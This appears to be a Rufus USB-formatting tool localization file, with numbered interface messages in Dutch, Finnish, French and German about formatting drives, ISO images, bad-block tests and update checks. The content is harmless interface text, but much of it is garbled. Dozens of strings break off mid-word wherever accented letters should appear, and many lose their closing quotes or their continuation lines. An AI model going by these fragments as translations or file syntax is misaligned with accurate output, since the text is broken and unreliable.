t MSG_176 "Nederlandse vertaling: Roberto Pino <mailto:rcpac@ziggo.nl>"

t MSG_177 "Meld fouten of verbeteringsverzoeken naar:"

t MSG_178 "Aanvullende Auteursrechten:"

t MSG_179 "Update Beleid:"

t MSG_180 "Als u ervoor kiest dat dit programma op updates controleert,"

t MSG_181 "Type besturingssysteem en versienummer"

t MSG_182 "Versienummer van de applicatie die u gebruikt"

t MSG_183 "Uw IP adres"

t MSG_184 "Ten behoeve van het genereren van statistieken voor priv

t MSG_185 "Update Proces:"

t MSG_186 "Rufus voert geen installatie van of achtergrond services uit, Daarom worden updatecontroles alleen uitgevoerd als de toepassing wordt uitgevoerd.\\line\n"

"Internet toegang is natuurlijk vereist wanneer er op updates gecontroleerd wordt."

t MSG_187 "Ongeldige image voor geselecteerde opstart optie"

t MSG_188 "De huidige image komt niet overeen met de opstart optie die geselecteerd is. Gebruik a.u.b. een andere image of kies een andere opstart optie."

t MSG_189 "Dit ISO beeldbestand is niet compatibel met het geselecteerde bestandssysteem."

t MSG_190 "niet compatibel drive gedetecteerd"

t MSG_191 "Schrijfactie"

t MSG_192 "Leesactie"

t MSG_193 "Gedownload %s"

t MSG_194 "Kan niet downloaden %s"

t MSG_195 "Gebruikt ge

ntegreerde versie van %s bestand(en)"

t MSG_196 "BELANGRIJK: DEZE DRIVE GEBRUIKT EEN NIET-STANDAARD SECTORGROOTTE!!\n\n"

"Conventionele drives gebruiken een 512-byte sector grootte maar deze drive gebruikt een %d-byte one. "

t MSG_197 "Niet-standaard sectorgrootte gedetecteerd"

t MSG_198 "'Windows To Go' kan alleen worden ge

t MSG_199 "Kies dit als u van plan bent om Windows op een andere schijf te installeren, waarvan het geselecteerde apparaat als installatie media wordt gebruikt."

t MSG_200 "Kies dit als u Windows rechtstreeks vanaf het geselecteerde apparaat wilt starten."

t MSG_201 "Bezig met annuleren - Een moment geduld a.u.b. ..."

t MSG_202 "Bezig met onderzoeken van image..."

t MSG_203 "Onderzoeken van image mislukt"

t MSG_204 "Verouderde %s gedetecteerd"

t MSG_205 "Gebruikte image: %s"

t MSG_206 "Ontbrekend %s bestand"

t MSG_207 "Nieuw Volume"

t MSG_208 "%d apparaat gevonden"

t MSG_209 "%d apparaten gevonden"

t MSG_210 "GEREED"

t MSG_211 "Geannuleerd"

t MSG_212 "MISLUKT"

t MSG_213 "Bezig nieuwe applicatie opstarten..."

t MSG_214 "Starten van nieuwe applicatie mislukt"

t MSG_215 "Geopend %s"

t MSG_216 "Opgeslagen %s"

t MSG_217 "Formatteren: %0.1f%% voltooid"

t MSG_218 "Bestandssysteem aan het maken: Taak %d/%d voltooid"

t MSG_219 "NTFS herstellen: %d%% voltooid"

t MSG_220 "Formatteren (UDF) (%s) - Geschatte duur %d:d..."

t MSG_221 "Cre

t MSG_222 "Formatteren (%s)..."

t MSG_223 "NTFS herstellen (Checkdisk)..."

t MSG_224 "Schoon MBR/PBR/GPT structuren op..."

t MSG_225 "Verzoek tot disk toegang..."

t MSG_226 "Bezig met analyse bestaande opstart records..."

t MSG_227 "Bezig bestaande volume afsluiten..."

t MSG_228 "Master boot record aan het schrijven..."

t MSG_229 "Partitie opstartrecord aan het schrijven..."

t MSG_230 "DOS files aan het kopi

t MSG_231 "ISO bestanden aan het kopi

t MSG_232 "Win7 EFI opstart setup (Dit kan een tijdje duren)..."

t MSG_233 "Finaliseren, een moment geduld a.u.b. ..."

t MSG_234 "Bezig met installeren Syslinux %s..."

t MSG_235 "Slechte Blokken: Ronde %s %d/%d - %0.2f%% (%d/%d/%d fouten)"

t MSG_236 "Slechte Blokken: Testen met willekeurig patroon"

t MSG_237 "Slechte Blokken: Testen met patroon 0xX"

t MSG_238 "Partitioneren (%s)..."

t MSG_239 "Partities worden verwijderd..."

t MSG_240 "Downloaden %s: Bezig met connectie..."

t MSG_241 "Downloaden: %0.1f%%"

t MSG_242 "Downloaden van bestand mislukt."

t MSG_243 "Controleren op Rufus updates..."

t MSG_244 "Updates: Connectie met internet niet mogelijk"

t MSG_245 "Updates: Versienummer ophalen niet mogelijk"

t MSG_246 "Een nieuwe versie van Rufus is beschikbaar!"

t MSG_247 "Geen nieuwe versies van Rufus gevonden"

t MSG_248 "Registersleutels van applicatie succesvol verwijderd"

t MSG_249 "Registersleutels van applicatie verwijderen mislukt"

t MSG_250 "%s ingeschakeld"

t MSG_251 "%s uitgeschakeld"

t MSG_252 "Controles op image grootte"

t MSG_253 "Detectie harde schijven"

t MSG_254 "Forceer uitgebreide FAT32 formattering"

t MSG_255 "NoDriveTypeAutorun zal worden verwijderd tijdens afsluiten"

t MSG_256 "Valse drive detectie"

t MSG_257 "Joliet ondersteuning"

t MSG_258 "Rock Ridge ondersteuning"

t MSG_259 "Update forceren"

t MSG_260 "NTFS compressie"

t MSG_261 "Bezig met schrijven van image: %0.1f%% voltooid"

t MSG_262 "ISO ondersteuning"

t MSG_263 "Gebruik de juiste grootte-eenheden"

t MSG_264 "De map '%s' wordt verwijderd"

t MSG_265 "VMWare disk gedetecteerd"

t MSG_266 "Dubbel UEFI/BIOS modus"

t MSG_267 "Windows image wordt toegepast: %0.1f%% gereed"

t MSG_268 "Windows image wordt toegepast..."

t MSG_269 "Behoud bestandsdata"

t MSG_271 "Image checksums berekenen: %0.1f%% voltooid"

t MSG_272 "Bereken de MD5, SHA1 en SHA256 checksums voor de geselecteerde image"

t MSG_273 "Verander de taal van het programma"

t MSG_274 "ISOHybride image gedetecteerd"

t MSG_275 "De geselecteerde image is een 'ISOHybride' image. Dit betekent dat het in "

"%s (bestands copy) modus of %s (disk image) modus weggeschreven kan worden.\n"

"Rufus beveelt de %s modus aan zodat er altijd volledige toegang is tot de schijf nadat deze beschreven is.\n"

"Echter, als er problemen zijn tijdens het opstarten, kunt u proberen om deze image opnieuw te schrijven in %s modus.\n\n"

t MSG_276 "Schrijf in %s modus (Aanbevolen)"

t MSG_277 "Schrijf in %s modus"

t MSG_278 "Opstart type"

t MSG_279 "Niet bootable"

t MSG_280 "Image selectie"

t MSG_281 "(Selecteer a.u.b. een image)"

t MSG_282 "Exclusieve USB drive vergrendeling"

t MSG_283 "Ongeldige handtekening"

t MSG_284 "het gedownloade programmabestand heeft geen digitale handtekening."

t MSG_285 "Het gedownloade programmabestand is ondertekend door '%s'.\nDit is geen herkende handtekening "

t MSG_286 "Nullen schrijven : %0.1f%% voltooid"

m IDC_NBPASSES  12,0

s IDC_NBPASSES -9,0

t IDC_WINDOWS_INSTALL "Tavanomainen Windowsin asennus"

t IDC_WEBSITE "Klikkaa t

t MSG_001 "Toinen prosessi k

t MSG_002 "Rufus-sovellus on jo k

t MSG_003 "VAROITUS: KAIKKI TIEDOT LAITTEESSA '%s' POISTETAAN.\n"

t MSG_004 "Rufus-p

t MSG_005 "Haluatko sallia Rufuksen etsi

t MSG_006 "Sulje"

t MSG_007 "Peruuta"

t MSG_008 "Kyll

t MSG_009 "Ei"

t MSG_010 "Viallisia lohkoja l

t MSG_011 "Tarkistus valmis: %d viallista lohkoa l

" %d lukuvirhe(tt

)\n %d kirjoitusvirhe(tt

)\n %d korruptiovirhe(tt

t MSG_012 "%s\nA voit tarkastella tarkempaa raporttia kohteessa:\n%s"

t MSG_013 "Pois k

t MSG_014 "P

t MSG_015 "Viikoittain"

t MSG_016 "Kuukausittain"

t MSG_017 "Mukautettu"

t MSG_018 "T

versio: %d.%d (Build %d)"

t MSG_019 "Viimeisin versio: %d.%d (Build %d)"

t MSG_020 "tavua"

t MSG_026 "tavua"

t MSG_027 "kilotavua"

t MSG_028 "megatavua"

t MSG_029 "Oletus"

t MSG_030 "%s (Oletus)"

t MSG_031 "%s-osiotyyppi BIOS- tai %s"

t MSG_032 "%s-osiotyyppi BIOS"

t MSG_033 "%s-osiotyyppi UEFI"

t MSG_034 "%d testi"

t MSG_035 "%d testi

t MSG_036 "ISO-kuva"

t MSG_037 "Sovellus"

t MSG_038 "Keskeyt

t MSG_040 "Lataa"

t MSG_041 "K

t MSG_042 "Virhe"

t MSG_043 "Virhe: %s"

t MSG_044 "Tiedoston lataus"

t MSG_045 "USB-tallennuslaite (Yleinen)"

t MSG_046 "%s (Levy %d) [%s]"

t MSG_047 "Useita osioita"

t MSG_048 "Rufus - Tyhjennet

t MSG_049 "Rufus - Peruutus"

t MSG_050 "Onnistui."

t MSG_051 "M

t MSG_052 "Valittua tiedostoj

t MSG_054 "Tietov

t MSG_055 "Laite on toisen prosessin k

t MSG_056 "T

t MSG_057 "Aseman nimi ei kelpaa."

t MSG_058 "Laitteen tunniste ei kelpaa."

t MSG_059 "Valittua tilanvarausyksikk

t MSG_060 "Aseman koko ei kelpaa."

t MSG_061 "Aseta ."

t MSG_064 "Virhe lukiessa."

t MSG_065 "Virhe kirjoittaessa."

t MSG_066 "Asennus ep

t MSG_067 "Tietov

t MSG_068 "Virhe osioidessa levy

t MSG_069 "Tietoja ei voitu kopioida kohdelevylle."

t MSG_070 "K

t MSG_071 "S

t MSG_072 "Lohkojen tarkistus ei valmistunut."

t MSG_073 "ISO-levykuvan skannaus ep

t MSG_074 "ISO-levykuvan purkaminen ep

t MSG_075 "Asemaa ei voitu ottaa uudelleen k

t MSG_076 "Tiedostoja ei voitu p

t MSG_077 "Levykirjainta ei voitu asettaa."

t MSG_078 "GUID-asemaa ei voitu ottaa k

t MSG_079 "Laite ei ole valmis."

t MSG_080 "Rufus havaitsi, ett

Windows tyhjent

annat Windowsin suorittaa toiminnon loppuun v

t MSG_081 "Levykuvaa ei tueta"

t MSG_082 "Valittu levykuva ei ole boottava tai se k

t MSG_083 "Korvataanko %s?"

t MSG_084 "T

n vanhentunutta '%s'-versiota.\n"

"'%s' l

t MSG_085 "Ladataan %s"

t MSG_086 "ISO-levykuvaa ei valittu"

t MSG_087 "Paina levykuvakkeesta valitaksesi boottaavan ISO-levykuvan "

t MSG_088 "Levykuva on liian suuri"

t MSG_089 "Levykuva on liian suuri valittuun kohteeseen."

t MSG_090 "ISO-levykuvaa ei tueta"

t MSG_091 "UEFI-kohdetyyppi

t MSG_092 "Tiedostoj

t MSG_093 "T

Windowsissa. "

t MSG_094 "Useita osioita havaittu"

t MSG_095 "DD-kuva"

t MSG_096 "Valittua tiedostoj

t MSG_097 "'%s' on k

t MSG_098 "T

: Olet asentamassa 'Windows To Go' -j

johtuen Windows todenn

t MSG_099 "Tiedostoj

t MSG_100 "T

t MSG_101 "WIM-tuki puuttuu"

t MSG_102 "K

EFI-bootattavien Windows 7 ja Windows Vista USB-asemien luomisessa. Voit korjata tilanteen"

t MSG_103 "Ladataanko %s?"

t MSG_104 "%s tai uudempi vaatii '%s'-tiedoston asennuksen.\n"

ytyy aina %s ISO-levykuvista, "

t MSG_105 "Peruuttaminen saattaa j

t MSG_106 "Valitse kansio"

t MSG_107 "Kaikki tiedostot"

t MSG_108 "Rufuksen loki"

t MSG_109 "0xX (Levy %d)"

t MSG_110 "MS-DOS ei voi k

t MSG_111 "Ep

t MSG_112 "Suurten UDF-asemien alustus voi kest

"kesto on %d:d, mink

t MSG_113 "Suuri UDF-asema"

t MSG_114 "T

Syslinuxia %s%s, mutta t

"Syslinuxille %s%s.\n\nKoska Syslinuxin uudet versiot eiv

"('ldlinux.sys' ja 'ldlinux.bss'):\n"

t MSG_115 "Lataus vaaditaan"

t MSG_116 "T

Grubia %s, mutta t

"Grubille %s.\n\nKoska Grubin eri versiot eiv

"('core.img'), joka t

t MSG_150 "Yleens

t MSG_151 "K

n Windows XP:ss

t MSG_152 "Suositeltu vaihtoehto k

ei tarvita Windows XP:lle"

t MSG_153 "Testikuvio: 0xX"

t MSG_154 "Testikuvio: 0xX, 0xX"

t MSG_155 "Testikuvio: 0xX, 0xX, 0xX"

t MSG_156 "Testikuvio: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Asettaa kohteen tiedostoj

t MSG_158 "Minimikoko, jonka datalohko varaa tiedostoj

t MSG_159 "K

t MSG_160 "N

t MSG_161 "Tarkista laite testikuviolla vioittuneiden lohkojen varalta"

t MSG_162 "Poista valintaruudun valinta k

t MSG_163 "Valitse valintaruutu tehd

t MSG_164 "Tapa, jolla asemasta tehd

t MSG_165 "Paina valitaksesi levykuva..."

t MSG_166 "Valitse valintaruutu salliaksesi kansainv

"ja asettaaksesi laitekuvakkeen (luo autorun.inf-tiedoston)"

t MSG_167 "Asenna MBR, joka sallii k

t MSG_168 "Yrit

n tulisi olla tarpeellista vain asennettaessa Windows XP:t

t MSG_169 "Luo ylim

t MSG_170 "Ota k

t MSG_171 "K

t MSG_172 "Lisenssitiedot ja tekij

t MSG_173 "Paina valitaksesi..."

t MSG_174 "Rufus - Luotettava USB-alustusohjelma"

t MSG_175 "Versio %d.%d (Build %d)"

t MSG_176 "Suomenkielinen k

t MSG_177 "Raportoi virheit

t MSG_178 "Muut tekij

t MSG_179 "P

t MSG_180 "Jos annat ohjelman etsi

t MSG_181 "K

t MSG_182 "K

t MSG_183 "IP-osoitteesi"

t MSG_184 "Yksityisten k

t MSG_185 "P

t MSG_186 "Rufus ei asenna tai aja taustapalveluja, siksi p

t MSG_187 "Levykuva ei ole sopiva valitulle k

t MSG_188 "Nykyinen levykuva ei vastaa valittua k

t MSG_189 "T

t MSG_190 "Ep

t MSG_191 "Kirjoitustesti"

t MSG_192 "Lukutesti"

t MSG_193 "Ladattu %s"

t MSG_194 "Ei voitu ladata %s"

t MSG_195 "K

versiota %s -tiedostoista"

t MSG_196 "T

%d-tavuista. "

t MSG_197 "Ep

t MSG_198 "'Windows To Go' voidaan asentaa GPT-osioidulle asemalla vain, jos asema "

t MSG_199 "Valitse t

, jos aiot asentaa Windowsin eri asemalle k

t MSG_200 "Valitse t

Windowsia siirrelt

t MSG_201 "Peruutetaan - Odota..."

t MSG_202 "Skannataan ISO-levykuvaa..."

t MSG_203 "ISO-levykuvan skannaus ep

t MSG_204 "Vanhentunut %s havaittu"

t MSG_205 "K

oleva levykuva: %s"

t MSG_206 "Tiedosto %s puuttuu"

t MSG_207 "Uusi asema"

t MSG_208 "%d laite havaittu"

t MSG_209 "%d laitetta havaittu"

t MSG_210 "VALMIINA"

t MSG_211 "Peruutettu"

t MSG_212 "EP

t MSG_213 "K

t MSG_214 "Uuden sovelluksen k

t MSG_215 "Avattu %s"

t MSG_216 "Tallennettu %s"

t MSG_217 "Alustus: %0.1f%% valmiina"

t MSG_218 "Luodaan tiedostoj

: Toiminto %d/%d suoritettu"

t MSG_219 "NTFS-korjaus: %d%% valmiina"

t MSG_220 "Alustetaan (%s) - arvioitu kesto %d:d..."

t MSG_221 "Asetetaan nime

t MSG_222 "Alustetaan (%s)..."

t MSG_223 "NTFS-korjaus (Checkdisk)..."

t MSG_224 "Selvitet

t MSG_225 "Pyydet

t MSG_226 "Analysoidaan l

t MSG_227 "Suljetaan olemassaolevaa asemaa..."

t MSG_228 "Kirjoitetaan master boot record..."

t MSG_229 "Kirjoitetaan partition boot record..."

t MSG_230 "Kopioidaan DOS-tiedostoja..."

t MSG_231 "Kopioidaan ISO-tiedostoja..."

t MSG_232 "Win7 EFI -k

t MSG_233 "Viimeistell

t MSG_234 "Asennetaan Syslinux %s..."

t MSG_235 "Lohkot: %s %d/%d - %0.2f%% (%d/%d/%d virhett

t MSG_236 "Lohkot: Testataan satunnaisella kuviolla"

t MSG_237 "Lohkot: Testataan kuviolla 0xX"

t MSG_238 "Osioidaan (%s)..."

t MSG_239 "Poistetaan osioita..."

t MSG_240 "Ladataan %s: Yhdistet

t MSG_241 "Ladataan: %0.1f%%"

t MSG_242 "Tiedoston lataaminen ep

t MSG_243 "Tarkistetaan Rufus-p

t MSG_244 "P

t MSG_245 "P

t MSG_246 "Uusi Rufus-versio on saatavilla!"

t MSG_247 "Ei l

t MSG_248 "Rekisteriavaimet poistettu onnistuneesti"

t MSG_249 "Rekisteriavainten poistaminen ep

t MSG_250 "%s p

t MSG_251 "%s pois p

t MSG_252 "Kokotarkistukset"

t MSG_253 "Kiintolevyjen havaitseminen"

t MSG_254 "Laajan FAT32-alustuksen pakotus"

t MSG_255 "NoDriveTypeAutorun poistetaan suljettaessa"

t MSG_256 "Valeasemien havaitseminen"

t MSG_257 "Joliet-tuki"

t MSG_258 "Rock Ridge -tuki"

t MSG_259 "P

t MSG_260 "NTFS-pakkaaminen"

t MSG_261 "Kirjoitetaan levykuvaa: %0.1f%% valmiina"

t MSG_262 "ISO-tuki"

t MSG_263 "OIKEIDEN tilayksik

t MSG_264 "Poistetaan kansiota '%s'"

t MSG_265 "VMWare-levyn havaitseminen"

t MSG_266 "Kaksois-UEFI/BIOS -tila"

t MSG_267 "Asetetaan Windows-levykuvaa: %0.1f%% suoritettu"

t MSG_268 "Asetetaan Windows-levykuvaa..."

t MSG_269 "Aikaleimojen k

t MSG_270 "USB-virheenkorjaus"

t MSG_271 "Lasketaan levykuvan tarkistussummia: %0.1f%% suoritettu"

t MSG_272 "Laske valitun levykuvan MD5-, SHA1- ja SHA256-tarkistussummat."

t MSG_273 "Vaihda sovelluksen kielt

t MSG_274 "ISOHybrid-levykuva havaittu"

t MSG_275 "Valitsemasi levykuva on muotoa 'ISOHybrid'. T

"kirjoittaa joko %sna (tiedostojen kopiointi) tai %sna (levykuva).\n"

n '%s' -tilaa, jotta sinulla pysyy t

kirjoittaa levykuvaa uudelleen '%s' -tilassa.\n\n"

t MSG_276 "Kirjoita %sna (Suositellaan)"

t MSG_277 "Kirjoita %sna"

t MSG_278 "K

t MSG_279 "Ei-boottaava"

t MSG_280 "Levykuvan valinta"

t MSG_281 "(Valitse levykuva)"

t MSG_282 "USB-aseman eksklusiivinen k

t MSG_283 "Ep

t MSG_284 "Ladatusta tiedostosta puuttuu digitaalinen allekirjoitus."

t MSG_285 "Ladatun tiedoston on allekirjoittanut '%s'.\nEmme tunnista kyseist

m IDC_NBPASSES  5,0

s IDC_NBPASSES -2,0

t IDC_WINDOWS_INSTALL "Installation standard de Windows"

t IDC_WEBSITE "Cliquez ici pour aller sur le site de Rufus"

t MSG_001 "Autre instance d

t MSG_002 "Une autre instance de Rufus est en cours d'ex

t MSG_003 "ATTENTION : TOUTES LES DONNEES DU VOLUME '%s' VONT ETRE EFFACEES.\n"

t MSG_004 "Mises

t MSG_005 "Voulez-vous autoriser Rufus

t MSG_006 "Fermer"

t MSG_007 "Annuler"

t MSG_008 "Oui"

t MSG_009 "Non"

t MSG_010 "Blocs d

t MSG_011 "V

te : %d bloc(s) d

" %d erreur(s) de lecture\n %d erreur(s) d'

criture\n %d erreur(s) de corruption\n"

t MSG_012 "%s\nUn rapport plus d

:\n%s"

t MSG_013 "Jamais"

t MSG_014 "Quotidienne"

t MSG_015 "Hebdomadaire"

t MSG_016 "Mensuelle"

t MSG_017 "Personnalis

t MSG_018 "Votre version : %d.%d (Build %d)"

t MSG_019 "Derni

re version : %d.%d (Build %d)"

t MSG_020 "octets"

t MSG_021 "Ko"

t MSG_022 "Mo"

t MSG_023 "Go"

t MSG_024 "To"

t MSG_025 "Po"

t MSG_026 "octets"

t MSG_027 "kilo-octets"

t MSG_028 "m

t MSG_029 "D

t MSG_030 "%s (D

t MSG_031 "Type de partition %s pour BIOS ou %s"

t MSG_032 "Type de partition %s pour BIOS"

t MSG_033 "Type de partition %s pour UEFI"

t MSG_034 "%d passe"

t MSG_035 "%d passes"

t MSG_036 "Image ISO"

t MSG_038 "Annuler"

t MSG_039 "Lancer"

t MSG_040 "T

t MSG_041 "Op

t MSG_042 "Erreur"

t MSG_043 "Erreur : %s"

t MSG_044 "T

t MSG_045 "P

t MSG_046 "%s (Disque %d) [%s]"

t MSG_047 "Plusieurs partitions"

t MSG_048 "Rufus - Flush de la m

t MSG_049 "Rufus - Annulation"

t MSG_050 "Op

t MSG_051 "Erreur ind

t MSG_052 "Ce syst

t MSG_053 "L'acc

t MSG_054 "Le p

t MSG_055 "Le p

t MSG_056 "Le formatage rapide n'est pas disponible pour ce p

t MSG_057 "Le nom de volume est invalide."

t MSG_058 "Le handle de p

t MSG_059 "Cette taille de cluster n'est pas applicable ici."

t MSG_060 "La taille du volume est invalide."

t MSG_061 "Veuillez ins

t MSG_062 "Commande non support

t MSG_063 "Erreur d'allocation m

t MSG_064 "Erreur de lecture."

t MSG_065 "Erreur d'

t MSG_066 "L'installation a

t MSG_067 "Impossible d'acc

t MSG_068 "Erreur de partitionnement."

t MSG_069 "Impossible de copier les fichiers sur le p

t MSG_070 "Op

t MSG_071 "Impossible de cr

t MSG_072 "La v

t MSG_073 "Echec d'analyse de l'image ISO."

t MSG_074 "Echec d'extraction de l'image ISO."

t MSG_075 "Echec lors du remontage du volume."

t MSG_076 "Echec de modification des fichiers de d

t MSG_077 "Echec d'assignation d'une lettre de volume."

t MSG_078 "Impossible de monter le volume GUID."

t MSG_079 "Le p

t MSG_080 "Rufus a d

que Windows est en train de finir de vider la m

"prendre beaucoup de temps.\n\nNous recommandons d'attendre que Windows compl

t MSG_081 "Image non support

t MSG_082 "Cette image n'est pas d

t MSG_083 "Remplacer %s?"

t MSG_084 "Cette image ISO utilise une version obsol

te du fichier '%s'.\n"

"Si un '%s' existe

t MSG_085 "T

chargement de %s"

t MSG_086 "Aucune image s

t MSG_087 "Veuillez cliquer sur le bouton avec un disque pour s

t MSG_088 "Image trop large"

t MSG_089 "L'image est trop large pour

t MSG_090 "Image ISO on support

t MSG_091 "Quand UEFI est s

es sur EFI sont support

t MSG_092 "Syst

me de fichiers non support

t MSG_093 "IMPORTANT : CE P

es ou bien visibles depuis Windows. Si vous d

t MSG_094 "Partitions multiples d

t MSG_095 "Image DD"

t MSG_096 "Le syst

t MSG_097 "'%s' peut seulement

t MSG_098 "IMPORTANT: Vous essayez d'installer 'Windows To Go', mais votre p

"l'attribut 'FIXE'. A cause de cela, Windows va tr

t MSG_099 "Limitation du syst

t MSG_100 "Cette image ISO contient un fichier de plus de 4 Go, ce qui est plus que la taille maximum "

"support

t MSG_101 "Support pour archives WIM non disponible"

t MSG_102 "Votre plateforme ne peut pas extraire les fichiers depuis les archives WIM. L'extraction de donn

marrable avec EFI pour Windows 7/8 ou Windows Vista. Vous pouvez adresser "

t MSG_103 "T

charger %s?"

t MSG_104 "%s ou plus r

cent requiert l'installation d'un fichier '%s'.\n"

base de %s, "

"'%s' existe

t MSG_105 "Annuler peut laisser le p

t MSG_106 "S

t MSG_107 "Tous les fichiers"

t MSG_108 "Log Rufus"

t MSG_109 "0xX (disque %d)"

t MSG_110 "MS-DOS ne peut pas

t MSG_111 "Taille de clusters incompatible"

t MSG_112 "Le formatage d'un volume UDF de grande taille peut prendre beaucoup de temps. Aux vitesses USB 2.0, "

e est %d :d, pendant laquelle la barre de progr

t MSG_113 "Volume UDF de grand taille"

t MSG_114 "Cette image utilise Syslinux %s%s mais l'application inclus seulement les fichiers d'installation pour Syslinux %s%s.\n\n"

mentaires ('ldlinux.sys' et 'ldlinux.bss') doivent

t MSG_115 "T

t MSG_116 "Cette image utilise Grub %s mais l'application inclus seulement les fichiers d'installation pour Grub %s.\n\n"

charger une version du fichier d'installation de Grub ('core.img') qui "

t MSG_150 "Le choix le plus s

t MSG_151 "Choisissez cette option si vous voulez installer un Syst

dia depuis Windows XP"

t MSG_152 "Option pr

dia depuis Windows XP n

t MSG_153 "Motif de test : 0xX"

t MSG_154 "Motif de test : 0xX, 0xX"

t MSG_155 "Motif de test : 0xX, 0xX, 0xX"

t MSG_156 "Motif de test : 0xX, 0xX, 0xX, 0xX"

t MSG_158 "Taille minimum qu

t MSG_159 "Utilisez ce champ pour mettre

t MSG_160 "Affiche/Cache les options avanc

t MSG_161 "D

t MSG_162 "D

t MSG_163 "Cochez cette case pour rendre le p

t MSG_164 "M

t MSG_165 "Cliquez ici pour s

t MSG_166 "Cochez cette case pour permettre l

era un fichier autorun.inf)"

t MSG_167 "Installe un MBR permettant la s

t MSG_168 "Camoufle le premier disque USB d

"Changez cette option si vous installez Windows XP avec plus d

t MSG_169 "Cr

t MSG_170 "Liste les disques durs externes USB. UTILISEZ A VOS PROPRES RISQUES !!! "

t MSG_171 "Lance le formatage. Cette op

t MSG_172 "Licence et remerciements"

t MSG_173 "Cliquez pour s

t MSG_176 "Traduction Fran

aise : Pete Batard <mailto:pete@akeo.ie>"

t MSG_177 "Soumettre un bug ou une demande d'am

t MSG_178 "Copyrights suppl

t MSG_179 "Politique de mises

t MSG_180 "Si vous autorisez ce programme

t MSG_181 "L

t MSG_182 "La version de l

t MSG_183 "Votre adresse IP"

t MSG_184 "Afin de g

t MSG_185 "Processus de mise

t MSG_186 "Aucun service ou t

t MSG_187 "Image invalide pour l'option de d

t MSG_188 "L'image choisie ne correspond pas

t MSG_189 "Cette image ISO n'est pas compatible avec le syst

t MSG_190 "P

t MSG_191 "Phase d'

t MSG_192 "Phase de lecture"

t MSG_193 "T

pour %s "

t MSG_194 "Impossible de t

charger %s"

t MSG_195 "La version par d

faut du fichier %s sera utilis

t MSG_196 "IMPORTANT: CE P

des disques utilisent une taille de secteur de 512 octets, mais celui ci utilise une taille de %d octets. "

t MSG_197 "Taille de secteur non standard d

t MSG_198 "'Windows To Go' peut seulement

t MSG_199 "Choisissez cette option si vous comptez installer Windows, sur un autre disque, "

t MSG_200 "Choisissez cette option si vous voulez fair tourner Windows directement depuis ce p

t MSG_201 "Annulation - Veuillez patienter..."

t MSG_202 "Analyse de l'image..."

t MSG_203 "Echec d'analyse de l'image"

t MSG_204 "Fichier %s obsol

t MSG_205 "Image utilis

e : %s"

t MSG_206 "Fichier %s manquant"

t MSG_207 "Nouveau volume"

t MSG_208 "%d p

t MSG_209 "%d p

t MSG_210 "PR

t MSG_211 "Op

t MSG_212 "ECHEC"

t MSG_213 "Lancement de la nouvelle application..."

t MSG_214 "Echec de lancement de l'application"

t MSG_215 "%s ouvert"

t MSG_216 "%s sauvegard

t MSG_217 "Formatage : %0.1f%% compl

t MSG_218 "Syst

che %d/%d compl

t MSG_219 "Finalisation NTFS: %d%% compl

t MSG_220 "Formatage (%s) - dur

e %d :d..."

t MSG_221 "Ecriture du label (peut prendre du temps)..."

t MSG_222 "Formatage (%s)..."

t MSG_223 "Finalisation NTFS (Checkdisk)..."

t MSG_224 "Effacement des structures MBR/PBR/GPT..."

t MSG_225 "Requ

t MSG_226 "Analyse des structures de boot existantes..."

t MSG_227 "Fermeture des volumes existants..."

t MSG_228 "Ecriture du MBR..."

t MSG_229 "Ecriture du PBR..."

t MSG_230 "Copie des fichiers DOS..."

t MSG_231 "Copie des fichiers ISO..."

t MSG_232 "Ecriture boot Win7 EFI (peut prendre du temps)..."

t MSG_233 "Finalisation, veuillez patienter..."

t MSG_234 "Installation de Syslinux %s..."

t MSG_235 "Test de d

fauts : %s %d/%d - %0.2f%% (%d/%d/%d erreurs)"

t MSG_236 "Test de d

t MSG_237 "Test de d

fauts : Test avec motif 0xX"

t MSG_238 "Partitionage (%s)..."

t MSG_239 "Effacement des partitions..."

t MSG_240 "T

chargement de %s : Connexion..."

t MSG_241 "T

t MSG_242 "Echec de t

t MSG_243 "Recherche des mises

t MSG_244 "Mises

t MSG_245 "Mises

t MSG_246 "Une nouvelle version de Rufus est disponible !"

t MSG_247 "Pas de nouvelle mise

t MSG_248 "Cl

t MSG_249 "Echec de suppression des cl

t MSG_250 "%s activ

t MSG_251 "%s d

t MSG_252 "Tests de d

passement de taille"

t MSG_253 "D

t MSG_254 "Force large FAT32'"

t MSG_255 "NoDriveTypeAutorun sera effac

t MSG_256 "Test de contrefa

t MSG_257 "Support Joliet"

t MSG_258 "Support Rock Ridge"

t MSG_259 "For

t MSG_260 "Compression NTFS"

t MSG_261 "Ecriture d'image : %0.1f%% compl

t MSG_262 "Support ISO"

t MSG_263 "Affichage de tailles avec de VRAIES unit

t MSG_264 "Suppression du dossier '%s'"

t MSG_265 "D

t MSG_266 "Mode dual UEFI/BIOS"

t MSG_267 "Application de l'image Windows: %0.1f%% compl

t MSG_268 "Application de l'image Windows..."

t MSG_269 "Pr

t MSG_270 "Debug USB"

t MSG_271 "Calculation des checksums de l'image: %0.1f%% compl

t MSG_272 "Calcule les checksums MD5, SHA1 et SHA256 pour l'image s

t MSG_273 "Change la langue de l'application"

t MSG_274 "Image ISOHybrid d

t MSG_275 "L'image que vous avez s

crite soit en mode %s (copie de fichiers) ou en mode %s (image disque).\n"

utiliser le mode %s, de mani

crire cette image, en mode %s.\n\n"

t MSG_276 "Ecrire en mode %s (Recommand

t MSG_277 "Ecrire en mode %s"

t MSG_278 "Type de d

t MSG_279 "Non d

t MSG_280 "S

t MSG_281 "(Veuillez s

t MSG_282 "Verrouillage exclusif de p

t MSG_283 "Signature invalide"

t MSG_284 "L'ex

t MSG_285 "L'ex

par '%s'.\nCe n

tes-vous certain de vouloir lancer ce fichier?"

t IDC_WINDOWS_INSTALL "Standard Windows-Installation"

t IDC_WEBSITE "Klicken Sie hier, um zur Webseite zu gelangen"

t MSG_001 "Rufus ist bereits gestartet"

t MSG_002 "Rufus ist bereits gestartet.\n"

t MSG_003 "WARNUNG: ALLE DATEN AUF LAUFWERK '%s' WERDEN GEL

t MSG_004 "Rufus Aktualisierungseinstellungen"

t MSG_005 "Wollen Sie, dass Rufus auf neuen Versionen pr

t MSG_006 "Schlie

t MSG_007 "Abbruch"

t MSG_009 "Nein"

t MSG_010 "Fehlerhafte Bl

t MSG_011 "Pr

fung abgeschlossen: %d fehlerhafte Bl

" %d Lesefehler\n %d Schreibfehler\n %d Defekt(e)\n"

t MSG_012 "%s\nEin detaillierter Bericht ist hier zu finden:\n%s"

t MSG_013 "Deaktiviert"

t MSG_014 "T

t MSG_015 "W

t MSG_016 "Monatlich"

t MSG_017 "Speziell"

t MSG_018 "Ihre Version: %d.%d (Build %d)"

